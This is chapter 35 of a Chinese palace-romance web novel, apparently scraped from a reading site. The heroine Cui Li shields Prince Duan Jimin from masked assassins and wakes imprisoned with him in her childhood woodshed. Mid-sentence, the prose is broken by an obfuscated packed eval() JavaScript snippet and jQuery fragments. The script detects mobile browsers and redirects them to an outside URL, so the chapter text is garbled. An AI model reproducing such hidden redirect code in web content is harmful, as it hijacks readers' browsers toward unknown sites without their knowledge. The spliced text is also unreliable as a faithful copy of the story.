35. 回家

作品:《太子妃为何三心两意

    崔麟崔狸相互对视一眼,都觉得声音有些耳熟。


    崔麟拉过崔狸,轻声道:“走吧。”


    崔狸突然想起那晚偷偷进入七王宅里的画面,不由得脸上绯红。


    正要离开,却听得那边十分熟悉的声音传来:“姑娘,我可不是什么正人君子。”


    竟是段季旻!


    然后便想起蓝落的幽然落寞的声音:“殿下既然对我那般冷淡,又为何收留我在宫里?”


    这次是蓝落的声音。


    又听得那边段季旻回道:“我已经心有所属,姑娘这样子,我又无力拒绝,就不怕我辜负你!”


    “公主心里已经有人了,殿下为何那样执着?”


    段季旻的声音骤然变冷:“这轮不到你来管!”


    崔麟意味深长地看向崔狸,崔狸尴尬地笑了笑。


    两人觉得没有必要再听下去了,便悄悄退出,回到小桃河边。


    二人对蓝落一事一言不发。


    崔狸第一次直面这种赤裸裸的利用,心里不是个滋味。


    而太子也曾说过:要复国,会牺牲很多人。现在看来,蓝落只怕就是其中一个。


    本质上,哥哥与太子是同一类人吧。


    自己又何尝不是某个大局中的一颗棋子呢?


    这么一想,还是梧桐丘那些山野更叫人自在。


    也不知道张二狗那小子如今怎么样了。


    崔狸突然有些伤感。下意识抬头看向崔麟,后者已经走了好远了。


    “姑娘,到你了,快捞呀!”


    崔狸回过神来,酒杯正从上游向她淌来,她本能地捞起。


    一本册子送到崔狸面前,羊毫又递到她手上,这是要她赋诗的意思。


    崔狸一手拿酒杯,一手拿着纸笔,十分为难:要老命了,这她哪里会啊?


    “姑娘,你既然接了酒杯,就得赋诗啊。”


    “我自罚三杯行不行?”


    “可不是这样的玩法,酒要喝,诗也是要写的。”


    崔狸先不管三七二十一把酒干了,然后开始挠头。


    挠头。


    还是挠头。


    “哎呀……绕了我吧,我宁愿编十个话本,也不愿意写这个!”


    然后,崔狸觉得后背传来一阵温热。一只骨节分明的手伸过来,从她手上接过羊毫,就在她身后,以半揽着她的姿势,行云流水写下诗句:“自君之出矣,弦吹绝无声。思君如百草,撩乱逐春生。”


    写完了,又将那羊毫塞回崔狸的手上,一言不发便离开了。


    崔狸不会写诗,却懂这诗的意思。


    哎。


    哎……


    崔狸长吁短叹,这叫什么事儿?


    侧头望去,那背影与无数次从她身边走过的太子殿下有何区别?


    可惜啊,他不是。


    崔狸将书册和笔交给要她写诗的小厮,一会儿这册子就要传到举办此次流觞曲水活动的太守那里,由他写序,再去刻书发行。


    都要疯了。


    崔狸沿着小桃河,一路追逐那些酒杯而去,四周没人的时候,就捞起酒杯喝上一杯,也没人叫她写什么诗。


    密林更深,小桃河穿过其中,蜿蜒而过,十步一景,曲径通幽。


    一阵尖利的啸声传来,崔狸下意识回头,一声闷响,那是箭射入身体的声音。


    崔狸一阵慌乱,镇定下来却发现自己安然无恙。


    在她身后,段季旻捂着左肩,艰难地从地上爬起来。


    “殿下!”


    崔狸顾不得其他,跑过去弯腰去扶段季旻,段季旻脸白如纸:“快走!”


    这个时候密林深处钻出一些人来,人人蒙面。


    “姑娘,把人交给我我们吧。”


    哈?


    蒙面人当中为首的那一个慢慢走近:走到段季旻身边时,不忘朝他伤口处狠踢了一脚,崔狸本能挡在他前面,后背传来一阵剧痛:“不要!”


    “不要?崔姑娘,我们主子说,你们的法子太慢了,直接除掉不就好了?剩下一个病秧子,就算你那个废物太子不忍,耗也能耗死他了;倒是这小子,野心大心眼多,留着是祸患。”


    “你们是什么人?”


    “我们?”那为首之人似乎觉得好笑,随即阴阳怪气道:“誓死效忠玉氏,誓死效忠公主殿下。”


    崔狸虽然不了解追影卫,但这么说话,看来是追影卫找来了。


    “你们这样自作主张也是效忠?”


    “怎么不是?你跟太子殿下早被中原安逸的生活磨平了志气,我们再不出面,只怕你们忘记深仇大恨,痴心妄想依靠仇人的儿子复国!真是好笑之至!”


    崔狸道:“云水族人向来恩怨分明,复国之事当然比复仇更重要。”


    “是吗?无妨的,我们助你们兄妹二人一臂之力,带走!”


    崔狸整个人趴在段季旻身上:“有我在,谁也别想带走他。”


    段季旻倒似不关心自己的生死,只是淡淡地看着崔狸把他护在身下。


    这么好的天气,她又这样子护着他,真是想都不敢想。


    那蒙面人慢慢走近,黑靴子踩在枯枝上:“你是不是高估自己的重要性了?”


    还没等崔狸反应过来,后颈遭到重击,她身子一软,便陷入黑暗虚无之中。


    崔狸醒来时,四周一片漆黑,肩上锐痛无比。


    这天杀的追影卫,连我都敢绑,难不成是个疯子?


    她艰难地爬起来,向四周摸索,竟给她摸到一把锄头,几个南瓜。继续摸下去,还有一个巨大的石磨。


    那几个南瓜一般是农户人家用来做种的。


    崔狸暗想,这里跟我姨娘家的柴房倒是很相像,那现在一定是在某户农家。


    哥哥听我讲过追影卫的事情,想必会去扇子铺查探,也许能找到线索,来救我出去。


    本来打算今晚回去就想法子给殿下传递消息,现在倒好,遇见这么一群疯子追影卫,计划全部被打乱了。


    崔狸一边想着,一边摸索,想找到打火石或者火折子之类的东西。


    突然她摸到什么,手猛然朝后一缩,同时,传来一阵闷哼的声音。


    崔狸一听,竟是五皇子,他竟然跟她关在一起!


    一时间崔狸也有些高兴,急切问道:“殿下,你还好吧,伤口怎样?”


    对方发出痛苦的呻,吟之声,想是十分痛苦,没有回答崔狸的话。


    崔狸无法,只好蹲下来继续摸索,想搞清楚他的状况。


    就算是受伤无力的状态


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755018|157674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,崔狸还是感觉到五皇子腿上肌肉坚实紧绷,隔着一层薄薄的衣衫,透着莫名的诱惑。


    五皇子沉默良久,似乎等不到崔狸主动收手,便呻,吟道:“自上次在惠正殿,你是不是摸上瘾了,一直惦记我这身子?”


    “啊?没有没有,我……是在查探你的伤。”


    “我伤在肩上,你不是看见了吗?”


    “哦,哦,是啊。”崔狸脸上一阵发烧,五皇子那么一说,就好像她在故意占他便宜一般。


    “你身上有没有带火折子?我刚摸到这里有南瓜,我们可以先吃一点,好恢复体力,再想办法逃出去。”


    “我……没有。”


    崔狸本来就不抱什么希望,茫然朝四周的黑暗瞧去,搜肠刮肚想有什么法子可以弄到吃的。


    “蒙面之人是云水族人?”


    “你不都听见了吗?”


    段季旻躺在那儿,声音里毫无情绪:“我听他们的意思,是要杀了我以清除障碍,你阻拦他们做什么?”


    “废话!你可是一国皇子,虽说你有时候那啥,杀了皇子也不是小事吧,我跟我哥的事情已经够麻烦的了,可不想再生事端。”


    段季旻冷哼一声:“你倒是顾全大局。”


    “也不全是因为这一点,谁叫你长得好看呢?”


    段季旻立刻觉得身上新伤旧痛都好了些。


    崔狸再找他说话,也没有回应,想来是昏睡过去了,又去探他额头,烫得灼人。


    这样下去可不是办法!那些追影卫到底想干什么啊!


    “来人!来人!来人……!放本公主出去,你们这帮没大没小的混蛋!”


    毫无回应。


    她摸索到门边,使劲拉门——自然是纹丝不动。


    段季旻睡在那里鼻息沉重,一声不吭。


    崔狸知道今晚定是叫不来人了,只得放弃。


    她拿锄头敲开那些老南瓜,拿起一块,将有瓜瓤的一面喂向段季旻的嘴边。


    段季旻无意识地张口,一股子轻甜滑入口中,他本能地吮吸起来。


    饿急了,崔狸也吃了些生南瓜。


    夜越深,柴房便越冷,泥土地直冒寒气,段季旻发了烧,崔狸怕他受凉会愈加严重,便将干柴铺在地上,把人推了上去,随后自己睡在一边。


    段季旻模模糊糊感觉到她,无力道:“你怎么好睡在我身边?”


    “这个时候就别讲究那么多了,我信的过你。”


    “……我信不过你。”


    “你把我崔狸当成什么人了?我还会欺负一个病人不成?”


    “……难说。”


    崔狸见他意识还算清明,多少有些放心。


    一夜过去,崔狸睡得腰酸背痛。


    倒不是没睡过干柴,以前做错事被姨娘罚,也睡过柴房,一个人怎么都好睡。


    可是这一夜五皇子骤冷骤热,冷的时候本能地抱住她,仍是冻得瑟瑟发抖。


    崔狸心道:再不逃出去,五皇子怕是要病死了。


    她准备闹出点动静,把那些追影引过来再说。


    这个时候柴房里已经能辨识东西了,崔狸突然发现,这竟然真的是梧桐丘那间柴房!


    我这是……回家来了!


    姨娘,姨娘!